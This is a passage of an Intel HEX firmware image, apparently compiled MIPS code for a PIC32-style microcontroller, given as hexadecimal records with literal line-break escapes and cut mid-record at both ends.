d44241800c2272128400016\n:102c000022be400f00000000059d023c141e44241b\n:102c10001800c2272128400000be400f000000001d\n:102c2000059d023c5c1c4424059d023c201e45245d\n:102c30001800c2272130400070be400f0000000085\n:102c40001800c2271000a2af059d023cb41c44240a\n:102c500000a0023cdc244524010006243000c78f7c\n:102c6000e5be400f00000000059d023c141e4424f8\n:102c70001800c2272128400022be400f000000009b\n:102c8000059d023c801d44241800c22721284000d5\n:102c900022be400f00000000059d023c4c1c442455\n:102ca0001800c2272128400022be400f000000006b\n:102cb000059d023c481e4424059d023c4c1e4524b3\n:102cc0000413410f0000000021e8c0032c00bf8f57\n:102cd0002800be8f3000bd270800e0030000000080\n:102ce000c8ffbd273400bfaf3000beaf21f0a00346\n:102cf0001800c0af2000c0afc40c410f000000009e\n:102d0000059d023c601e428c1c00c2afa40b410b0f\n:102d100000000000059d023c641e448c1c00c58f11\n:102d20008746410f0000000021184000059d023c2d\n:102d300021206000681e458ca948410f000000005a\n:102d4000212040001b55410f000000002400c2afad\n:102d50002400c28f421002000300042421284000f6\n:102d60002400c68f08000724b20b410f00000000aa\n:102d7000212000002b09410f000000000100023c4f\n:102d8000a0864434240e410f000000001000c0afa4\n:102d90001400c0af780b410b000000000365400f2a\n:102da000000000002800c2af1000c28fd107422ce3\n:102db00008004014000000002800c38f1400c28fd8\n:102dc0002b10430003004010000000002800c28fb9\n:102dd0001400c2af1000c28f010042241000c2af25\n:102de0001000c28f1027422cecff4014000000009e\n:102df0001c00c48f1b55410f00000000059d033cc3\n:102e0000501e6424212840006913410f0000000077\n:102e1000059d023c581e44241400c58f6913410fc0\n:102e2000000000001400c38f1800c28f2b10430055\n:102e300007004010000000001400c28f1800c2af4d\n:102e40001c00c48f1b55410f000000002000c2afc2\n:102e5000c40c410f0000000088bf023c02000324a4\n:102e6000741043ac88bf023c781040ac81bf023c78\n:102e700000800334049043ac059d023c1c00c48fc9\n:102e80006c1e458c4f45410f000000001c00c2af76\n:102e9000059d023c1c00c48f701e458cbb53410f26\n:102ea000000000009bff4004000000002000c28fd3\n:102eb00021e8c0033400bf8f3000be8f3800bd272b\n:102ec0000800e00300000000e8ffbd271400bfafca\n:102ed0001000beaf21f0a003211880001c00c5af78\n:102ee0002000c6af2110e0001800c3a32400c2a335\n:102ef00088bf033c606062940421027c606062a42d\n:102f0000c40c410f0000000088bf023c4000033c9d\n:102f1000641043ac88bf023c681040ac88bf023ce0\n:102f20004000033c341043ac80bf023c00800334bb\n:102f3000043843ac2000c38fcccc023ccdcc42340f\n:102f40001900620010100000c2100200c010020040\n:102f5000c218020080bf023c203843ac2000c38f5f\n:102f6000cccc023ccdcc42341900620010100000e1\n:102f7000c2100200c0100200c218020080bf023c52\n:102f8000103843ac80bf023c0b800334003843aca4\n:102f900088bf023c4000033c641043ac88bf023c45\n:102fa000681040ac88bf023c4000033c341043ac86\n:102fb00080bf023c00800334043843ac88bf033c2c\n:102fc000e060629401000424c45a827ce06062a440\n:102fd000f88080afffff0224348082a38480828f38\n:102fe0000c0040100000000088bf033c2061629488\n:102ff00001000424444a827c206162a488bf033c0f\n:10300000a0616294444a027ca06162a44b0c410b13\n:103010000000000088bf033c20616294444a027ca7\n:10302000206162a42400c2939c8082a31800c293f2\n:1030300008804234c48082af2000c38f1c00c28f3e\n:103040001b006200f401400010100000121000008c\n:103050002000c38f1b006200f4014000101000002c\n:1030600012180000cccc023ccdcc423419006200d6\n:103070001010000002110200c0100200c88082afd0\n:10308000c880828fcc8082afcc80838f80bf023c8f\n:10309000203843acc880838f80bf023c103843acdb\n:1030a000c480838f80bf023c003843ac80bf023ca9\n:1030b000000a40ac80bf023c100a40ac2000c38f25\n:1030c000cccc023ccdcc4234190062001010000080\n:1030d00002110200c0100200ffff432480bf023c27\n:1030e000200a43ac80bf023c00800334080a43ac92\n:1030f00088bf023c1c00033ce41043ac88bf023c88\n:103100001400033ce81043ac88bf023c4000033c81\n:10311000341043ac88bf023c4000033c641043ac15\n:1031200088bf023c4000033c681043ac21e8c00368\n:103130001400bf8f1000be8f1800bd270800e003e9\n:1031400000000000f8ffbd270400beaf21f0a0037f\n:103150000800c4af0c00c5af0c00c28fff004230a6\n:1031600001004230ff00443088bf033c3010628cc5\n:103170000484827c301062ac88bf023c1c000324b3\n:10318000d41043ac88bf023c18000324d81043acd1\n:1031900080bf023c000c40ac80bf023c100c40ac35\n:1031a00080bf023c0800c38f200c43ac80bf023cb0\n:1031b00000800334080c43ac88bf023c0100033c90\n:1031c000641043ac88bf023c0100033c681043ac70\n:1031d00088bf033ca06162948431027ca06162a438\n:1031e00088bf033ce060629401000424c45a827cde\n:1031f000e06062a421e8c0030400be8f0800bd2780\n:103200000800e00300000000f8ffbd270400beaf87\n:1032100021f0a0030800c4af2110a0000c00c2a33d\n:1032200001000224308082af000000003080828fd5\n:10323000feff40140000000088bf033c2061629440\n:1032400001000424444a827c206162a40c00c293e1\n:1032500001004230ff00443088bf033ca06162940b\n:10326000444a827ca06162a40800c28f4010020020\n:103270000800c2af000000003882838f0800c28fb0\n:103280002b104300fcff40100000000088bf033cef\n:1032900020616294444a027c206162a421e8c00358\n:1032a0000400be8f0800bd270800e00300000000f6\n:1032b000f8ffbd270400beaf21f0a0030800c4af93\n:1032c00001000224308082af000000003080828f35\n:1032d000feff4014000000000800c28f40100200f2\n:1032e0000800c2af000000003882838f0800c28f40\n:1032f0002b104300fcff40100000000021e8c00339\n:103300000400be8f0800bd270800e0030000000095\n:10331000e8ffbd271400bfaf1000beaf21f0a0032f\n:10332000f80c410f0000000088bf023c001003248d\n:10333000641043ac88bf023c681040ac80bf023cc4\n:10334000000a40ac88bf023c4000033c641043ac20\n:1033500088bf023c681040ac88bf023c4000033c80\n:10336000341043ac80bf023c00800334043843accb\n:1033700088bf033c20616294010004244408827cdd\n:10338000206162a488bf033c206162940100042490\n:103390000400827c206162a488bf033c20616294a7\n:1033a00001000424444a827c206162a488bf033c5b\n:1033b000a0616294444a027ca06162a488bf023c7e\n:1033c0000002033c781043ac21e8c0031400bf8f17\n:1033d0001000be8f1800bd270800e00300000000a9\n:1033e000f8ffbd270400beaf21f0a00388bf023c58\n:1033f0000100033c641043ac88bf023c681040ac41\n:1034000080bf023c000c40ac88bf033ca0616294ca\n:10341000010004248431827ca06162a421e8c003fd\n:103420000400be8f0800bd270800e0030000000074\n:10343000e0ffbd271c00bfaf1800beaf21f0a00306\n:1034400001000424e30d410f0000000001000424ea\n:10345000240e410f0000000021200000e30d410f69\n:10346000000000001000c2af21200000fb0d410f42\n:1034700000000000059d033c5851642421284000b1\n:103480006913410f00000000059d023c6451442473\n:103490001000c58f6913410f00000000059d023c1c\n:1034a00070514424059d023c745145240413410f7e\n:1034b0000000000001000424e30d410f00000000a3\n:1034c0000a000424240e410f000000002120000007\n:1034d000e30d410f000000001000c2af21200000ea\n:1034e000fb0d410f00000000059d033c5851642472\n:1034f000212840006913410f00000000059d023c97\n:10350000785144241000c58f6913410f000000005a\n:10351000059d023c70514424059d023c7451452494\n:103520000413410f0000000001000424e30d410fcb\n:103530000000000064000424240e410f000000007d\n:1035400021200000e30d410f000000001000c2af79\n:1035500021200000fb0d410f00000000059d033cf1\n:1035600058516424212840006913410f00000000d5\n:10357000059d023c845144241000c58f6913410ffe\n:1035800000000000059d023c70514424059d023c52\n:10359000745145240413410f00000000010004246d\n:1035a000e30d410f00000000e8030424240e410f46\n:1035b0000000000021200000e30d410f000000008a\n:1035c0001000c2af21200000fb0d410f00000000e1\n:1035d000059d033c58516424212840006913410f84\n:1035e00000000000059d023c945144241000c58f4a\n:1035f0006913410f00000000059d023c70514424f6\n:10360000059d023c745145240413410f0000000045\n:1036100001000424e30d410f0000000010270424e2\n:10362000240e410f0000000021200000e30d410f97\n:10363000000000001000c2af21200000fb0d410f70\n:1036400000000000059d033c5851642421284000df\n:103650006913410f00000000059d023ca451442461\n:103660001000c58f6913410f00000000059d023c4a\n:1036700070514424059d023c745145240413410fac\n:103680000000000001000424e30d410f00000000d1\n:103690000100023ca0864434240e410f00000000cb\n:1036a00021200000e30d410f000000001000c2af18\n:1036b00021200000fb0d410f00000000059d033c90\n:1036c00058516424212840006913410f0000000074\n:1036d000059d023cb45144241000c58f6913410f6d\n:1036e00000000000059d023c70514424059d023cf1\n:1036f000745145240413410f00000000010004240c\n:10370000e30d410f000000000f00023c4042443432\n:10371000240e410f0000000021200000e30d410fa6\n:10372000000000001000c2af21200000fb0d410f7f\n:1037300000000000059d033c5851642421284000ee\n:103740006913410f00000000059d023cc85144244c\n:103750001000c58f6913410f00000000059d023c59\n:1037600070514424059d023c745145240413410fbb\n:103770000000000021e8c0031c00bf8f1800be8fae\n:103780002000bd270800e00300000000f0ffbd2777\n:103790000c00beaf21f0a003211080001000c2a3d6\n:1037a00080bf023c100e428c0000c2af1000c293da\n:1037b000030040100000000080bf023c100e40ac2f\n:1037c000050002240000c38f1b006200f4014000ca\n:1037d000101000001210000021e8c0030c00be8f82\n:1037e0001000bd270800e00300000000f0ffbd2727\n:1037f0000c00beaf21f0a003211080001000c2a376\n:1038000080bf023c100e428c0000c2af1000c29379\n:10381000030040100000000080bf023c100e40acce\n:103820000000c28f0011020021e8c0030c00be8f0f\n:103830001000bd270800e00300000000f8ffbd27ce\n:103840000400beaf21f0a0030800c4af0800c28f7f\n:10385000feff42240800c2af80bf023c100e40ac05\n:103860000000000080bf023c100e438c0800c28f95\n:103870002b106200fbff40140000000021e8c00391\n:103880000400be8f0800bd270800e0030000000010\n:10389000f0ffbd270c00beaf21f0a0031000c4afa5\n:1038a000080002241000c38f1800620012100000ec\n:1038b0000000c2af000000000000c28fffff4324e1\n:1038c0000000c3affcff40140000000021e8c0036b\n:1038d0000c00be8f1000bd270800e00300000000b0\n:1038e000b8ffbd274400bfaf4000beaf3c00b0af43\n:1038f00021f0a0034800c4af4c00c5af5000c6afd4\n:103900002120a003218080001c00c0af20000424df\n:10391000ffff84242800c4af20000424214080003d\n:103920002148000042270800c068090025688d0072\n:10393000c06008002000042421108000211800002d\n:1039400042270200c058030025588b00c0500200d7\n:103950002000022407004224c2100200c01002000e\n:1039600023e8a2031000a227000042242c00c2afcb\n:103970001400c0af620e410b000000001400c28fa3\n:10398000010042241400c2af1400c38f5000c28f44\n:103990002b10620008004010000000001400c28fcd\n:1039a000801002004800c38f211062000000428c8a\n:1039b000f2ff4010000000001400c28f060040100b\n:1039c00000000000059d023cd03044241400c58f47\n:1039d0006913410f000000001000c0af1800c0af15\n:1039e000810f410b000000001400c38f1000c28f34\n:1039f00021106200801002004800c38f2110620075\n:103a00000000428c3000c2afc80002243000c38fd7\n:103a10002b106200930040140000000058020224a2\n:103a20003000c38f2b1043008e00401400000000b4\n:103a30001000c38f1400c28f211862005000c28f83\n:103a4000f9ff42242b1062008600401000000000a5\n:103a50002000c0af2400c0a3059d023cf0304424e8\n:103a60003000c58f6913410f000000002400c2938d\n:103a7000401002002400c2a31400c38f1000c28fa4\n:103a80002110620001004224801002004800c38f10\n:103a9000211062000000428c3000c2af0f000224ef\n:103aa0003000c38f2b10620006004014000000009d\n:103ab000820002243000c38f2b1043000900401005\n:103ac000000000001c00c0af059d023c00314424f2\n:103ad0003000c58f6913410f00000000040f410b37\n:103ae000000000001000c28f03004014000000001e\n:103af000010002241c00c2af1400c38f1000c28f4b\n:103b000021106200801002004c00c38f211062005f\n:103b10000000428c3000c2af260202243000c38f66\n:103b20002b1062001000401400000000ee0202247e\n:103b30003000c38f2b1043000b0040140000000026\n:103b40002400c293010042242400c2a3059d023c2c\n:103b5000183144243000c58f6913410f0000000064\n:103b6000f30e410b00000000960002243000c38fca\n:103b70002b1062000d004014000000009001022490\n:103b80003000c38f2b1043000800401400000000d9\n:103b9000059d023c243144243000c58f6913410f38\n:103ba00000000000f30e410b000000001c00c0af3d\n:103bb000059d023c303144243000c58f6913410f0c\n:103bc00000000000040f410b000000002000c28f25\n:103bd000010042242000c2af1000c28f0100422425\n:103be0001000c2af1400c38f1000c28f21186200f2\n:103bf0005000c28f2b106200050040100000000032\n:103c00002000c28f0800422c98ff401400000000e2\n:103c10002000c38f0800022410006214000000007e\n:103c20001800c28f010043241800c3af2c00c38fbb\n:103c3000211062002400c393000043a02400c2931b\n:103c4000059d033c40316424212840006913410f45\n:103c5000000000007e0f410b000000007e0f410bb2\n:103c6000000000001000c28f330040100000000070\n:103c70001400c38f1000c28f21186200ff3f023c66\n:103c8000ffff423421106200801002004c00c38ffd\n:103c9000211062000000428c3000c2af26020224d4\n:103ca0003000c38f2b1062000d0040140000000094\n:103cb000ee0202243000c38f2b1043000800401492\n:103cc00000000000059d023c483144243000c58faf\n:103cd0006913410f000000004e0f410b000000006f\n:103ce000960002243000c38f2b1062000d00401498\n:103cf00000000000900102243000c38f2b1043000d\n:103d00000800401400000000059d023c5831442486\n:103d10003000c58f6913410f000000004e0f410baa\n:103d200000000000059d023c683144243000c58f2e\n:103d30006913410f000000001400c38f1000c28ff0\n:103d400021106200801002004800c38f2110620021\n:103d50000000428c3000c2af0f0002243000c38f3d\n:103d60002b1062000d0040140000000082000224ad\n:103d70003000c38f2b1043000800401400000000e7\n:103d8000059d023c783144243000c58f6913410ff2\n:103d9000000000007d0f410b00000000c80002245d\n:103da0003000c38f2b1062000d0040140000000093\n:103db000580202243000c38f2b1043000800401427\n:103dc00000000000059d023c883144243000c58f6e\n:103dd0006913410f000000007d0f410b000000003f\n:103de000059d023c9c3144243000c58f6913410f6e\n:103df000000000001c00c0af1000c28f0100422470\n:103e00001000c2af1000c38f1400c28f21186200cf\n:103e10005000c28f2b10620007004010000000000d\n:103e200020000224ffff43241800c28f2b10430000\n:103e3000edfe401400000000059d023cac3144241e\n:103e4000059d023cb03145240413410f00000000e1\n:103e50001c00c28f07004010000000002c00c28f21\n:103e6000212040001800c58fa60f410f0000000060\n:103e70001c00c2af1c00c28f21e8000221e8c00371\n:103e80004400bf8f4000be8f3c00b08f4800bd276c\n:103e90000800e00300000000e0ffbd271c00bfafea\n:103ea0001800beaf21f0a0032000c4af2400c5afae\n:103eb0001000c0af2400c28f0600422c290040141d\n:103ec000000000002000c28f00004390f000022498\n:103ed00024006214000000002000c28f020042246f\n:103ee00000004290211840002400c28ffcff4224b1\n:103ef0001c006214000000002400c28fffff422457\n:103f00002000c48f21284000e00f410f0000000076\n:103f10001400c2a31400c293059d033cb431642471\n:103f2000212840006913410f000000002400c28fc7\n:103f3000ffff42242000c38f211062000000429046\n:103f40001400c39307006214000000000100022463\n:103f50001000c2af2000c48f2400c58fff0f410f97\n:103f6000000000001000c28f21e8c0031c00bf8fba\n:103f70001800be8f2000bd270800e00300000000ed\n:103f8000f0ffbd270c00beaf21f0a0031000c4afae\n:103f90001400c5af0000c0a3010002240400c2af9a\n:103fa000f40f410b000000001000c38f0400c28f0b\n:103fb00021106200000043900000c29321106200b3\n:103fc0000000c2a30400c28f010042240400c2af5b\n:103fd0000400c38f1400c28f2b106200f2ff401444\n:103fe000000000000000c29321e8c0030c00be8f57\n:103ff0001000bd270800e00300000000d0ffbd272f\n:104000002c00bfaf2800beaf2400b0af21f0a0034a\n:104010003000c4af3400c5af2120a0032180800050\n:10402000200004241400c4af2000042401008424d0\n:10403000213080002138000042270600c0580700c8\n:1040400025588b00c0500600200004240100842461\n:10405000211080002118000042270200c048030000\n:1040600025488900c04002002000022401004224ab\n:1040700007004224c2100200c010020023e8a2037d\n:104080001000a227000042241800c2af1000c0afe9\n:104090004710410b000000003000c38f1000c28f9a\n:1040a00021106200000042901c00c2a31c00c293b9\n:1040b000059d033ce4316424212840006913410f2d\n:1040c000000000001000c28f0700433007000224e8\n:1040d0000600621400000000059d023cec314424ff\n:1040e000212800000413410f000000001c00c293af\n:1040f000212040005e10410f000000002118400008\n:104100001800c48f1000c28f21108200000043a04d\n:104110001000c28f010042241000c2af1000c38ff4\n:104120003400c28f2b106200dbff4014000000003f\n:104130001800c38f1000c28f21106200000040a041\n:104140001800c28f059d033cf031642421284000f3\n:104150000413410f0000000021e8000221e8c00321\n:104160002c00bf8f2800be8f2400b08f3000bd27e9\n:104170000800e00300000000f8ffbd270400beaf08\n:1041800021f0a003211080000800c2a30800c29300\n:104190001a00422c07004010000000000800c293e3\n:1041a00041004224ff0042302014027c9c10410b4d\n:1041b000000000000800c2932000422c0b004014b5\n:1041c000000000000800c2932a00422c07004010a3\n:1041d000000000000800c29310004224ff0042309b\n:1041e0002014027c9c10410b000000000800c293c8\n:1041f000e6ff42240500432c1c0060100000000074\n:1042000080180200049d023c1c42422421106200de\n:104210000000428c08004000000000003042049d75\n:104220003c42049d4842049d5442049d6042049dca\n:10423000200002249c10410b000000002e000224ec\n:104240009c10410b00000000270002249c10410b31\n:10425000000000002d0002249c10410b0000000013\n:10426000210002249c10410b000000003f000224aa\n:1042700021e8c0030400be8f0800bd270800e0034a\n:1042800000000000f8ffbd270400beaf21f0a0032e\n:10429000c8818293ff0042301f004230ff0043304c\n:1042a0000100022403006210000000004f11410bc6\n:1042b00000000000c8818293ff004230600042305d\n:1042c000ff004330200002240300621000000000c1\n:1042d0004f11410b00000000cc818293ff0042305f\n:1042e0000800401000000000cc818293ff004330a2\n:1042f0000100022403006210000000004f11410b76\n:1043000000000000c9818293ff0042302300432c4b\n:10431000890060100000000080180200049d023c2b\n:1043200034434224211062000000428c0800400007\n:1043300000000000c043049d1444049d3845049dc2\n:104340003845049d3845049d3845049d3845049df5\n:104350003845049d3845049d3845049d3845049de5\n:104360003845049d3845049d3845049d3845049dd5\n:104370003845049d3845049d3845049d3845049dc5\n:104380003845049d3845049d3845049d3845049db5\n:104390003845049d3845049d3845049d3845049da5\n:1043a0003845049d3845049d3845049d3845049d95\n:1043b0003845049d4044049dd844049d0c45049d0b\n:1043c00000a0023c90818327801c43ac00a0023ceb\n:1043d000801c422408000324080043a400a0023cdf\n:1043e000801c432404006290010004240400827ca9\n:1043f000040062a000a0023c801c432404006290e0\n:1044000001000424c439827c040062a04f11410bd6\n:104410000000000000a0023c90818327801c43ac78\n:1044200000a0023c801c432404006290010004248c\n:10443000c439827c040062a04f11410b00000000cf\n:10444000ce818293ff004230cf818393ff0063309f\n:10445000001a030025106200ffff433000a0023c59\n:10446000ff006530d01c4424050086900000c63053\n:104470002528c500050085a0021a0300ffff633050\n:10448000d01c42240600449000008430251883008c\n:10449000060043a000a0023c84818327d01c442452\n:1044a000030083a8d01c43b800a0023cd01c4224c7\n:1044b0000a0040a8070040b800a0023cd01c4324da\n:1044c0000400629001000424c439827c040062a0cc\n:1044d0004f11410b0000000000a0023c84818327a3\n:1044e000801c43ac00a0023c801c42240700032433\n:1044f000080043a400a0023c801c4224c1ff032406\n:10450000040043a04f11410b00000000ca818293b8\n:10451000ff004230a48182a300a0023c801c4324ff\n:104520000400629001000424c439827c040062a06b\n:104530004f11410b000000000000000021e8c00303\n:104540000400be8f0800bd270800e0030000000043\n:10455000e8ffbd271400bfaf1000beaf21f0a003dd\n:10456000004b0224848182af888180a3898180a34b\n:10457000080002248a8182a3a08180a3020004246f\n:1045800015000524eda0400f0000000003000424e6\n:104590001d000524eda0400f0000000003000424ce\n:1045a0002128000000a0023c1818462440000724df\n:1045b00017a1400f00000000808182af708180afa2\n:1045c000a18180a321e8c0031400bf8f1000be8f1b\n:1045d0001800bd270800e00300000000e8ffbd2729\n:1045e0001400bfaf1000beaf21f0a0031800c4af8d\n:1045f0001c00c5af2110c0002000c2a71800c38f47\n:104600000500022417006214000000008081828fe0\n:104610001c00c38f09006214000000000300042482\n:104620002128000000a0023c18184624400007245e\n:1046300017a1400f00000000808182af7081828f3f\n:104640001c00c38f0500621400000000a18180a33c\n:104650008c8180a39c11410b000000009c11410b38\n:1046600000000000211000009d11410b000000001f\n:104670000100022421e8c0031400bf8f1000be8f88\n:104680001800bd270800e00300000000e8ffbd2778\n:104690001400bfaf1000beaf21f0a0031800c4afdc\n:1046a0002110a0001c00c2a3a08180a38081828f62\n:1046b00009004010000000008081828f00004290bd\n:1046c000ff00433080ff022424106200ff004230cc\n:1046d00038004014000000001c00c3938081828fca\n:1046e00002004490ff00843003004290ff004230fb\n:1046f000030042300012020025104400ffff423048\n:104700002a1043000b004010000000008081828fbf\n:1047100002004390ff00633003004290ff004230ec\n:10472000030042300012020025104300ffff423018\n:104730001c00c2a3a08180a3e011410b0000000077\n:10474000a08182931800c38f21106200a0818393ff\n:104750002120600000a0033c181863242118830066\n:1047600000006390ff006330201c037c000043a026\n:10477000a081829301004224ff004230a08182a3e5\n:10478000a08182931c00c3932b104300ecff4014c4\n:1047900000000000030004242128000000a0023cc7\n:1047a000181846244000072417a1400f00000000fd\n:1047b000808182afa081829321e8c0031400bf8f63\n:1047c0001000be8f1800bd270800e00300000000a5\n:1047d000f8ffbd270400beaf21f0a0030800c4af5e\n:1047e0002110a0000c00c2a388bf023c0002033cc1\n:1047f000741043aca18182930900401400000000b2\n:104800000800c28f788182af0c00c2938c8182a392\n:1048100001000224a88182a301000224a18182a3b5\n:1048200088bf023c0002033c781043ac21e8c0037f\n:104830000400be8f0800bd270800e0030000000050\n:10484000f0ffbd270c00beaf21f0a0031000c4afe5\n:1048500088bf023c0002033c741043aca1818293e8\n:10486000060040100000000088bf023c0002033c2c\n:10487000781043ac3c12410b000000000000c0a3c4\n:104880001000c28f0400c2af0000c2930100422496\n:104890000000c2a30000c393ff00022403006214bf\n:1048a000000000003112410b000000000400c28f24\n:1048b000010043240400c3af00004280f2ff401413\n:1048c000000000001000c28f788182af0000c29308\n:1048d0008c8182a301000224a88182a3010002240a\n:1048e000a18182a388bf023c0002033c781043ac44\n:1048f00021e8c0030c00be8f1000bd270800e003b4\n:1049000000000000f0ffbd270c00beaf21f0a003a7\n:104910001000c4af88bf023c0002033c741043acdb\n:10492000a1818293060040100000000088bf023c75\n:104930000002033c781043ac6c12410b00000000f5\n:104940000000c0a31000c28f0400c2af0000c293d9\n:10495000010042240000c2a30000c393ff00022410\n:1049600003006214000000006212410b000000000e\n:104970000400c28f010043240400c3af0000428042\n:10498000f2ff4014000000001000c28f788182af57\n:104990000000c2938c8182a3a88180a3010002241d\n:1049a000a18182a388bf023c0002033c781043ac83\n:1049b00021e8c0030c00be8f1000bd270800e003f3\n:1049c00000000000e0ffbd271c00bfaf1800beaf15\n:1049d00021f0a00388bf023c0002033c741043acea\n:1049e0007081828f0e004010000000007081828f65\n:1049f00000004290ff00433080ff02242410620038\n:104a0000ff004230060040100000000088bf023c5a\n:104a10000002033c781043acfe12410b0000000082\n:104a2000a1818393030002240200621400000000ad\n:104a3000a18180a3a18182930600401400000000a0\n:104a400088bf023c0002033c781043acfe12410bcd\n:104a500000000000a1818393020002240c00621474\n:104a600000000000030004240100052421300000a0\n:104a70002138000017a1400f00000000708182afb4\n:104a800003000224a18182a3fb12410b000000005d\n:104a9000a1818393010002245400621400000000ed\n:104aa0008c8182934100422c0500401400000000dc\n:104ab000400002241000c2a3b212410b000000000b\n:104ac0008c8182931000c2a38c8183931000c293c7\n:104ad00023106200ff0042308c8182a300a0023cc0\n:104ae000581842247c8182af1000c2931100c2a3e7\n:104af000a88182931500401400000000ce12410be3\n:104b0000000000007c81828f7881838f0000639099\n:104b1000000043a07c81828f010042247c8182af0f\n:104b20007881828f01004224788182af1100c29384\n:104b3000ffff42241100c2a31100c293f1ff4014f1\n:104b400000000000e512410b00000000e212410be2\n:104b5000000000007c81828f7881838f0000639049\n:104b6000000043a07c81828f010042247c8182afbf\n:104b70007881828f01004224788182af1100c29334\n:104b8000ffff42241100c2a31100c293f1ff4014a1\n:104b9000000000008c8182930b0040140000000094\n:104ba0001000c393400002240500621400000000be\n:104bb00002000224a18182a3f212410b0000000036\n:104bc00003000224a18182a31000c29303000424e5\n:104bd0000100052400a0033c581866242138400039\n:104be00017a1400f00000000708182af88bf023c17\n:104bf0000002033c781043ac21e8c0031c00bf8fc7\n:104c00001800be8f2000bd270800e0030000000050\n:104c1000e8febd271401bfaf1001beaf21f0a00315\n:104c20001801c4af1c01c5af1000c22721204000ed\n:104c3000000105241801c68f1c01c78fdb58410fe6\n:104c400000000000d5808393010002240a00621452\n:104c5000000000001000c227212040007b4b410fc4\n:104c6000000000001000c327212060002128400020\n:104c70002214410f00000000d5808393020002241b\n:104c80000a006214000000001000c227212040002a\n:104c90007b4b410f000000001000c3272120600063\n:104ca00021284000a413410f0000000021e8c003a8\n:104cb0001401bf8f1001be8f1801bd270800e0034b\n:104cc00000000000e8ffbd271400bfaf1000beaf1a\n:104cd00021f0a0031800c4af1c00c5afd58083939a\n:104ce0000100022405006214000000001800c48fb7\n:104cf0001c00c58f2214410f00000000d580839353\n:104d00000200022405006214000000001800c48f95\n:104d10001c00c58fa413410f0000000021e8c00350\n:104d20001400bf8f1000be8f1800bd270800e003dd\n:104d300000000000e8ffbd271400bfaf1000beafa9\n:104d400021f0a003211080001800c2a3d580839316\n:104d50000100022405006214000000001800c427ae\n:104d6000010005242214410f00000000d580839328\n:104d70000200022405006214000000001800c4278d\n:104d800001000524a413410f0000000021e8c00326\n:104d90001400bf8f1000be8f1800bd270800e0036d\n:104da00000000000e8febd271401bfaf1001beaf38\n:104db00021f0a0031801c4af1c01c5af1000c22729\n:104dc000212040001801c58f1c01c68ffe55410fe0\n:104dd00000000000d58083930100022407006214c4\n:104de00000000000059d023c605c44241000c227c6\n:104df000212840000413410f0000000021e8c003f7\n:104e00001401bf8f1001be8f1801bd270800e003f9\n:104e100000000000e8ffbd271400bfaf1000beafc8\n:104e200021f0a0031800c4af2110a0001c00c2a3f1\n:104e3000d5808393010002240e006214000000005c\n:104e4000a181829308004014000000001c00c2935e\n:104e50001800c48f21284000a311410f000000005a\n:104e60009e13410b00000000211000009e13410b17\n:104e7000000000002110000021e8c0031400bf8fd3\n:104e80001000be8f1800bd270800e00300000000de\n:104e9000e8ffbd271400bfaf1000beaf21f0a00394\n:104ea0001800c4af1c00c5afb413410b00000000d4\n:104eb0001800c28f010043241800c3af00004290c5\n:104ec0002014027c212040007e38410f00000000a9\n:104ed0001c00c28fffff43241c00c3aff4ff40142b\n:104ee0000000000021e8c0031400bf8f1000be8f37\n:104ef0001800bd270800e00300000000d8ffbd2710\n:104f00002400bfaf2000beaf1c00b0af21f0a00353\n:104f10002800c4af2c00c5af1000c0a32800c28f6a\n:104f2000000040a001000424e30d410f0000000038\n:104f3000da13410b0000000021200000e30d410fb7\n:104f4000000000001400c2af1400c38f2c00c28ff9\n:104f50002b1043000400401000000000211000004e\n:104f60001b14410b000000005438410f00000000ea\n:104f7000f1ff40100000000001000424e30d410f88\n:104f8000000000000814410b000000002120000078\n:104f9000e30d410f000000001400c2af1400c38fe6\n:104fa0002c00c28f2b1043000300401000000000b3\n:104fb0000c14410b000000005438410f00000000a9\n:104fc00010004010000000001000c2932800c38fa2\n:104fd000218062001738410f00000000ff004230be\n:104fe000000002a21000c2932800c38f21106200ab\n:104ff0000000429007004014000000000314410b21\n:10500000000000000814410b000000000c14410bcc\n:10501000000000001000c293010042241000c2a34f\n:105020001000c393ff000224d8ff621400000000a8\n:105030001000c2932800c38f21106200000040a01e\n:105040001414410b000000001738410f000000004d\n:105050005438410f00000000fbff40140000000026\n:105060002800c48f7b4b410f0000000021e8c003e3\n:105070002400bf8f2000be8f1c00b08f2800bd27ea\n:105080000800e00300000000e0ffbd271c00bfafe8\n:105090001800beaf21f0a0032000c4af2400c5afac\n:1050a000a181829303004010000000005014410bc6\n:1050b000000000004d14410b000000002400c28fce\n:1050c0000001422c05004010000000002400c28fa7\n:1050d0001000c2a33914410b00000000ffff02249e\n:1050e0001000c2a31000c2932000c48f21284000ea\n:1050f000f411410f000000001000c2932000c38f84\n:10510000211062002000c2af1000c2932400c38fa0\n:10511000231062002400c2af4a14410b00000000bb\n:105120007112410f00000000a1818293fcff401426\n:10513000000000002400c28fe0ff401400000000c7\n:1051400021e8c0031c00bf8f1800be8f2000bd27c0\n:105150000800e00300000000e0ffbd271c00bfaf17\n:105160001800beaf21f0a0032000c4af059d023c93\n:10517000645c44242000c58f0413410f000000002c\n:105180001000c22721204000010005248513410f93\n:10519000000000000d00401000000000059d023cd2\n:1051a000605c4424059d023ca45c45240413410f2b\n:1051b000000000001000c2930d0042380100422c94\n:1051c000ff0042307514410b000000006014410bd9\n:1051d0000000000021e8c0031c00bf8f1800be8f34\n:1051e0002000bd270800e00300000000f8ffbd27f5\n:1051f0000400beaf21f0a003ec80828f03004014b6\n:1052000000000000ffff0234ec8082afec80828f50\n:10521000ffff4224ec8082af88bf023c8050428c6a\n:10522000020042301f00401000000000ec80828f1e\n:10523000910040140000000088bf023c2061428cb5\n:10524000080042300100422cff00443088bf033c7c\n:1052500020616294c418827c206162a488bf023cf1\n:105260002061428c0800423007004010000000001e\n:1052700088bf033c206162948410027c206162a498\n:105280001e15410b0000000088bf033c20616294a2\n:10529000010004248410827c206162a41e15410b4d\n:1052a00000000000f481828f0d0040140000000017\n:1052b00088bf033c2061629401000424c418827cee\n:1052c000206162a488bf033c206162940100042431\n:1052d0008410827c206162a41e15410b0000000036\n:1052e000f481838f010002240b006214000000008f\n:1052f00088bf033c20616294c418027c206162a4d0\n:1053000088bf033c206162948410027c206162a407\n:105310001e15410b00000000f481838f020002245f\n:105320000c0062140000000088bf033c20616294fe\n:10533000c418027c206162a488bf033c206162948f\n:10534000010004248410827c206162a41e15410b9c\n:1053500000000000f481838f040002240c0062141a\n:105360000000000088bf033c206162940100042417\n:10537000c418827c206162a488bf033c20616294cf\n:105380008410027c206162a41e15410b0000000005\n:10539000f481838f100002241400621400000000c6\n:1053a000ec80828f340040140000000088bf023c73\n:1053b0002061428c080042300100422cff00443042\n:1053c00088bf033c20616294c418827c206162a47f\n:1053d00088bf033c2061629401000